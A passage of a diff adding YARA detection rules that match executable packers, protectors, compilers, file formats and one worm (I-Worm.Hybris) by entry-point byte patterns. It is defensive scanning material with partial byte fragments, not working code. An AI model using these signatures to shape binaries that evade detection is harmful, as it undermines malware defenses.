+		$0 = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 00 ?? ?? ?? 00 03 00 00 00 ?? ?? ?? ?? 00 10 00 00 00 00 ?? ?? ?? ?? 00 00 ?? F6 ?? 00 B2 4F 45 00 ?? F9 ?? 00 EF 4F 45 00 ?? F6 ?? 00 8C D1 42 00 ?? 56 ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 24 ?? 00 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _AverCryptor_10__os1r1s_
+{
+	meta:
+		description = "AverCryptor 1.0 -> os1r1s"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 75 17 40 00 8B BD 9C 18 40 00 8B 8D A4 18 40 00 B8 BC 18 40 00 03 C5 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 A0 18 40 00 33 C0 51 33 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 A0 18 40 00 8B 85 A8}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 75 17 40 00 8B BD 9C 18 40 00 8B 8D A4 18 40 00 B8 BC 18 40 00 03 C5 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 A0 18 40 00 33 C0 51 33 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 A0 18 40 00 8B 85 A8 18 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 8B F1 E8 27 00 00 00 8B C8 5F B8 BC 18 40 00 03 C5 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 98 18 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 23 F7 8B C6 5F 5E C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CodeVeil_V12V13__XHEO____20080409_
+{
+	meta:
+		description = "CodeVeil V1.2-V1.3 -> XHEO   * 20080409"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D 64 24 00 55 8B EC 53 56 57 8B 4D 10 83 81 B8 00 00 00 05 83 A1 C0 00 00 00 DF 33 C0 5F 5E 5B C9 C3 8B FF 60 E8 01 00 00 00 B8 5E E8 01 00 00 00 B8 58 2D 31 01 00 00 8B 00 2B F0 81 E6 00 00 FF FF 03 76 3C 33 C9 66 8B 4E 14 8D 74 31 18 8B 5E 0C 03 DE 81 E3 00 F0 FF FF 8B 56 08 E8 05 00 00 00 E9 ?? 00 00 00 55 8B EC 83 C4 F0 B9 E9 00 00 00 8B F3 03 DA E8 01 00 00 00 B8 58 2D 77 01 00 00 8B 00 03 C6 89 45 F4 E8 01 00 00 00 B8 5A 81 EA 86}
+	condition:
+		$0
+}
+rule _Pe123_v200644412_
+{
+	meta:
+		description = "Pe123 v2006.4.4-4.12"
+	strings:
+		$0 = {8B C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C0}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_V14__LiuXingPing_
+{
+	meta:
+		description = "NsPack V1.4 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B1 85 40 00 2D AA 85 40 00}
+		$1 = {9C 60 E8 00 00 00 00 5D B8 B1 85 40 00 2D AA 85 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _XPack_139_EXE_
+{
+	meta:
+		description = "XPack 1.39 [EXE]"
+	strings:
+		$0 = {2E C7 06 01 01 00 00 8B EC EB 01 E8 2E C6 06 0E 05 FA EB 00 9A BC 1C 05 2E C6 06 1A 05 C3 EB 00 9A 90 42 05 06 09 95 19 99 26 03 62 F7 03 74 05 8F 05 1A 06 50 06 E2 00 64 06 CF 00 4C 06 AC 00 4F 06 AA 00 43 06 FC 00 33 E4 8E D4 83 C4 10 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_15_by_Vaska_UsAr_sign_individual_version_21032007_2215_
+{
+	meta:
+		description = "RCryptor 1.5 by Vaska (UsAr sign (individual version) 21.03.2007 22:15)"
+	strings:
+		$0 = {83 2C 24 4F 68 40 A1 14 13 FF 54 24 04 83 44 24 04 4F B8 00 10 14 13 3D 24 C0 14 13 74 06 80 30 2B 40 EB F3 B8 8C 20 18 13 3D B9 27 18 13 74 06 80 30 19 40 EB F3 E8 00 00 00 00 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _ComprEXE_10_EXE_
+{
+	meta:
+		description = "ComprEXE 1.0 [EXE]"
+	strings:
+		$0 = {FC 1E 06 8C DD 83 C5 10 89 E8 BA 00 00 8B 1E 02 00 29 D3 53 8E D8 8E C3 31 F6 31 FF B9 08 00 F3 A5 40 43 4A 75 EE B8 2B 00 50 CB 0E 1F BE 00 00 B3 01 8E C5 31 FF 81 FF 00 80 72 0B 8C C0 05 00 08 8E C0 81 EF 00 80 E8 8A 00 74 08 B7 08 E8 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _PEiDBundle_v102__v103_DLL__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle v1.02 - v1.03 DLL --> BoB / BobSoft"
+	strings:
+		$0 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 00 08 00 39 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_11_SE_v12__Northfox_
+{
+	meta:
+		description = "MEW 11 SE v1.2 -> Northfox"
+	strings:
+		$0 = {EB 02 FA 04 E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 00 00 93 E8 31 00 00 00 78 E8 DD FF FF FF 38 E8 E3 FF FF FF 66 E8 0D 00 00 00 04 E8 E3 FF FF FF 70 E8 CB FF FF FF 69 E8 DD FF FF FF 58 E8 DD FF FF FF 69 E8 E3 FF FF FF 79 E8 BF FF FF FF 69 83 C4 40 E8 00 00 00 00 5D 81 ED 9D 11 40 00 8D 95 B4 11 40 00 E8 CB 2E 00 00 33 C0 F7 F0 69 8D B5 05 12 40 00 B9 5D 2E 00 00 8B FE AC}
+		$1 = {EB 02 FA 04 E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_Stelth_PE_101__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Ste@lth PE 1.01] --> Anorganix"
+	strings:
+		$0 = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 BA ?? ?? ?? ?? FF E2 BA E0 10 40 00 B8 68 24 1A 40 89 02 83 C2 03 B8 40 00 E8 EE 89 02 83 C2 FD FF E2 2D 3D 5B 20 48 69 64 65 50 45 20 5D 3D 2D 90 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEShit_
+{
+	meta:
+		description = "PEShit"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 33 D2 EB 01 0F 56 EB 01 0F E8 03 00 00 00 EB 01 0F EB 01 0F 5E EB 01}
+		$1 = {B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 F9 00 7E 06 80 30 ?? 40 E2 F5 E9 ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WWPACK_v305c4_Modified_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Modified)"
+	strings:
+		$0 = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+		$1 = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Imaging_Technology_Graphics_format_
+{
+	meta:
+		description = "Imaging Technology Graphics format"
+	strings:
+		$0 = {49 4D 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ProPack_214_m2_COM_
+{
+	meta:
+		description = "ProPack 2.14 -m2 [COM]"
+	strings:
+		$0 = {BE 4A 02 FC E8 3C 00 05 00 01 8B C8 E8 34 00 8B D0 03 C6 05 06 00 8B F8 83 C6 04 AD 32 E4 8B EE 8B F7 03 C1 8B F8 3B FE 76 0D FD 57 4E 4F 8B CA F3 A4 47}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeShield_Cryptor_13RC__Tom_Commander_
+{
+	meta:
+		description = "ExeShield Cryptor 1.3RC -> Tom Commander"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 8C 21 40 00 B9 51 2D 40 00 81 E9 E6 21 40 00 8B D5 81 C2 E6 21 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+		$1 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 8C 21 40 00 B9 51 2D 40 00 81 E9 E6 21 40 00 8B D5 81 C2 E6 21 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Immun_12_COM_
+{
+	meta:
+		description = "Immun 1.2 [COM]"
+	strings:
+		$0 = {50 53 51 52 56 57 1E 06 E8 00 00 5E 81 EE A4 09 2E 89 36 00 01 8B FE 81 C7 97 09 2E 8B 1D 2B FB 83 C7 02 81 EF 00 01 8B EF B4 30 CD 21 2E 88 85 63 01 3C 03 72 50 8E 1E 2C 00 8C C8 8E C0 8B EF 2E 8B 3E 00 01 81 C7 75 0D 33 F6 B9 00 20 FC AC}
+	condition:
+		$0 at entrypoint
+}
+rule _FreePascal_200_Win32_
+{
+	meta:
+		description = "FreePascal 2.0.0 Win32"
+	strings:
+		$0 = {C6 05 ?? ?? ?? ?? 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00}
+		$1 = {C6 05 00 80 40 00 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _kkrunchy_023_alpha__Ryd_
+{
+	meta:
+		description = "kkrunchy 0.23 alpha -> Ryd"
+	strings:
+		$0 = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10 8D 9D A0 08 00 00 E8 ?? 00 00 00 8B 45 10 EB 42 8D 9D A0 04 00 00 E8 ?? 00 00 00 49 49 78 40 8D 5D 20 74 03 83 C3 40 31 D2 42 E8 ?? 00 00 00 8D 0C 48 F6 C2 10 74 F3 41 91 8D 9D A0 08 00 00 E8 ?? 00 00 00 3D 00 08 00 00 83 D9 FF 83 F8 60 83 D9 FF 89 45 10 56 89 FE 29 C6 F3 A4 5E EB 90 BE ?? ?? ?? 00 BB ?? ?? ?? 00 55 46 AD 85 C0 74 ?? 97 56 FF 13 85 C0 74 16 95 AC 84 C0 75 FB 38 06 74 E8 78 ?? 56 55 FF 53 04 AB 85 C0}
+		$1 = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10 8D 9D A0 08 00 00 E8 ?? 00 00 00 8B 45 10 EB 42 8D 9D A0 04 00 00 E8 ?? 00 00 00 49 49 78 40 8D 5D 20 74 03 83 C3 40 31 D2 42 E8 ?? 00 00 00 8D 0C 48 F6 C2 10 74 F3 41 91 8D 9D A0 08 00 00 E8 ?? 00 00 00 3D 00 08 00 00 83 D9 FF 83 F8 60 83 D9 FF 89 45 10 56 89 FE 29 C6 F3 A4 5E EB 90 BE ?? ?? ?? 00 BB ?? ?? ?? 00 55 46 AD 85 C0 74 ?? 97 56 FF 13 85 C0 74 16 95 AC 84 C0 75 FB 38 06 74 E8 78 ?? 56 55 FF 53 04 AB 85 C0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_Morphine_12__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Morphine 1.2] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 EB 08 E8 90 00 00 00 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 51 66 90 90 90 59 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Stones_PE_Encruptor_v113_
+{
+	meta:
+		description = "Stone`s PE Encruptor v1.13"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81}
+		$1 = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_v102b__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.02b -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 96 78 43 00 B8 90 78 43 00 03 C5}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v102a__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.02a -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 3E D9 43 ?? B8 38 ?? ?? ?? 03 C5 2B 85 0B DE 43 ?? 89 85 17 DE 43 ?? 80 BD 01 DE 43 ?? ?? 75 15 FE 85 01 DE 43 ?? E8 1D ?? ?? ?? E8 79 02 ?? ?? E8 12 03 ?? ?? 8B 85 03 DE 43 ?? 03 85 17 DE 43 ?? 89 44 24 1C 61 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Neolite_v20_
+{
+	meta:
+		description = "Neolite v2.0"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41 54 43 4F 4D ?? 43 2F 43 2B 2B 33 32 ?? 52 75}
+		$1 = {E9 A6 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_v036_alpha__Dwing_
+{
+	meta:
+		description = "Upack v0.36 alpha -> Dwing"
+	strings:
+		$0 = {AB E2 E5 5D 59 8B 76 68 51 59 46 AD 85 C0}
+	condition:
+		$0
+}
+rule _Microsoft_WAV_Audio_file_
+{
+	meta:
+		description = "Microsoft WAV Audio file"
+	strings:
+		$0 = {52 49 46 46 ?? ?? ?? ?? 57 41 56 45 66 6D 74}
+	condition:
+		$0 at entrypoint
+}
+rule _AudioCD_file_
+{
+	meta:
+		description = "Audio-CD file"
+	strings:
+		$0 = {52 49 46 46 ?? ?? ?? ?? 43 44 44 41 66 6D 74}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_V13finalbuild81026_Method2__bagie_
+{
+	meta:
+		description = "SimplePack V1.3.final.build.81026 (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 ?? 00 00 00 00 00 00 00 00 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXHiT_001__DJ_Siba_
+{
+	meta:
+		description = "UPX$HiT 0.0.1 -> DJ Siba"
+	strings:
+		$0 = {E2 FA 94 FF E0 61 00 00 00 00 00 00 00}
+		$1 = {E2 FA 94 FF E0 61 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _XPack_v142_
+{
+	meta:
+		description = "X-Pack v1.4.2"
+	strings:
+		$0 = {72 ?? C3 8B DE 83 ?? ?? C1 ?? ?? 8C D8 03 C3 8E D8 8B DF 83 ?? ?? C1 ?? ?? 8C C0 03 C3 8E C0 C3}
+		$1 = {72 ?? C3 8B DE 83 ?? ?? C1 ?? ?? 8C D8 03 C3 8E D8 8B DF 83 ?? ?? C1 ?? ?? 8C C0 03 C3 8E C0 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Silicon_Realms_Install_Stub_Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Silicon Realms Install Stub ->Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 50 92 40 00 68 E4 69 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 FC 90 40 00 33 D2 8A D4 89 15 94 E8 40 00 8B C8 81 E1 FF 00 00 00 89 0D 90 E8 40 00 C1 E1 08 03 CA 89 0D 8C E8 40 00 C1 E8 10 A3 88 E8 40 00 33 F6 56 E8 2F 0B 00 00 59 85 C0 75 08}
+	condition:
+		$0 at entrypoint
+}
+rule _HackStop_113_EXE_
+{
+	meta:
+		description = "HackStop 1.13 [EXE]"
+	strings:
+		$0 = {52 B8 00 30 1E CD 21 86 E0 3D 00 02 73 02 CD 20 0E 1F B4 09 E8 03 00 24 24 EA 5A CD 21 1F 5A}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_exe_Protector_18X19X__SetiSoft_Team_
+{
+	meta:
+		description = "Private exe Protector 1.8X-1.9X -> SetiSoft Team"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEArmor_046__Hying_
+{
+	meta:
+		description = "PE-Armor 0.46 -> Hying"
+	strings:
+		$0 = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+		$1 = {E8 AA 00 00 00 2D ?? ?? ?? 00 00 00 00 00 00 00 00 3D}
+		$2 = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _NJoy_13__NEX_
+{
+	meta:
+		description = "N-Joy 1.3 -> NEX"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 48 36 40 00 E8 54 EE FF FF 6A 00 68 D8 2B 40 00 6A 0A 6A 00 E8 2C EF FF FF E8 23 E7 FF FF 8D 40 00}
+		$1 = {55 8B EC 83 C4 F0 B8 48 36 40 00 E8 54 EE FF FF 6A 00 68 D8 2B 40 00 6A 0A 6A 00 E8 2C EF FF FF E8 23 E7 FF FF 8D 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Simple_UPX_Cryptor_v3042005_multi_layer_encryption_
+{
+	meta:
+		description = "Simple UPX Cryptor v30.4.2005 [multi layer encryption"
+	strings:
+		$0 = {60 B8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8A 14 08 80 F2 ?? 88 14 08 41 83 F9 ?? 75 F1}
+		$1 = {60 B8 ?? ?? ?? 00 B9 18 00 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? 00 C3}
+		$2 = {60 B8 ?? ?? ?? ?? B9 18 00 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _BamBam_v001_
+{
+	meta:
+		description = "BamBam v0.01"
+	strings:
+		$0 = {6A 14 E8 9A 05 00 00 8B D8 53 68 FB ?? ?? 00 E8 6C FD FF FF B9 05 00 00 00 8B F3 BF FB ?? ?? 00 53 F3 A5 E8 8D 05 00 00 8B 3D 03 ?? ?? 00 A1 2B ?? ?? 00 66 8B 15 2F ?? ?? 00 B9 80 ?? ?? 00 2B CF 89 45 E8 89 0D 6B ?? ?? 00 66 89 55 EC 8B 41 3C 33 D2 03 C1 83 C4 10 66 8B 48 06 66 8B 50 14 81 E1 FF FF 00 00 8D 5C 02 18 8D 41 FF 85 C0 0F 8E 39 01 00 00 89 45 F0 C6 45 FF 00 8D 7D E8 8B F3 8A 0E 8A 17 8A C1 3A CA 75 1E 84 C0 74 16 8A 56 01 8A 4F 01 8A C2 3A D1 75 0E 83 C6 02 83 C7 02 84 C0 75 DC 33 C0 EB 05 1B C0 83 D8 FF 85 C0 75 04 C6 45 FF 01 8B 43 10 85 C0 0F 84 DD 00 00 00 8B 43 08 50 E8 D7 04 00 00 8A 4D FF 83 C4 04 84 C9 8B 4B 08 89 45 F8 C7 45 F4 00 00 00 00 74 61 8B 15 07 ?? ?? 00 8B 35 6B ?? ?? 00 8B 7B 0C 2B CA 03 F2 8B D1 03 F7 8B F8 C1 E9 02 F3 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _Sentinel_SuperPro_Dongle_V54200___Rainbow_Technologies_
+{
+	meta:
+		description = "Sentinel SuperPro Dongle V5.42.0.0  -> Rainbow Technologies"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? B9 10 FF 00 00 BB 00 00 00 00 E8 ?? ?? ?? ?? 68 B9 20 FF 00 00 E8 ?? ?? ?? ?? 68 B9 30 FF 00 00 E8 ?? ?? ?? ?? 68 E8 ?? ?? ?? ?? 68 27 F0 10 7F E8 ?? ?? ?? ?? 68 BB 02 00 00 00 E8 ?? ?? ?? ?? 68 07 D4 30 7F E8 ?? ?? ?? ?? 68 BB 01 00 00 00 E8 ?? ?? ?? ?? 68 50 1E DF 80 E8 ?? ?? ?? ?? 68 B9 10 12 00 00 BB 00 00 00 00 E8 ?? ?? ?? ?? 68 B9 20 12 00 00 E8 ?? ?? ?? ?? 68 E8 ?? ?? ?? ?? 68 07 2A A3 00 E8 ?? ?? ?? ?? 68 BB 01 00 00 00 E8 ?? ?? ?? ?? 68 88 B5 5B FF E8 ?? ?? ?? ?? 68 B9 30 12 00 00 BB 00 00 00 00 E8 ?? ?? ?? ?? 68}
+	condition:
+		$0 at entrypoint
+}
+rule _VIRUS__IWormHybris_
+{
+	meta:
+		description = "VIRUS - I-Worm.Hybris"
+	strings:
+		$0 = {EB 16 A8 54 ?? ?? 47 41 42 4C 4B 43 47 43 ?? ?? ?? ?? ?? ?? 52 49 53 ?? FC 68 4C 70 40 ?? FF 15}
+		$1 = {EB 16 A8 54 ?? ?? 47 41 42 4C 4B 43 47 43 ?? ?? ?? ?? ?? ?? 52 49 53 ?? FC 68 4C 70 40 ?? FF 15}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASProtect_v123_RC4_build_0807_dll__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect v1.23 RC4 build 08.07 (dll) -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+		$1 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_13013__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.0.13 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 26 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 21 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 01 ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 01 ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 02 ?? ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 03 ?? ?? ?? E8 13 26 00 00}
+		$1 = {EB 01 ?? E8 26 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 21 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 01 ?? 33 C0 EB 03}
+		$2 = {EB 01 ?? E8 26 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 21 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 01 ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 01 ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 02 ?? ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 03 ?? ?? ?? E8 13 26 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _InstallShield_Stub_2003_
+{
+	meta:
+		description = "InstallShield Stub 2003"
+	strings:
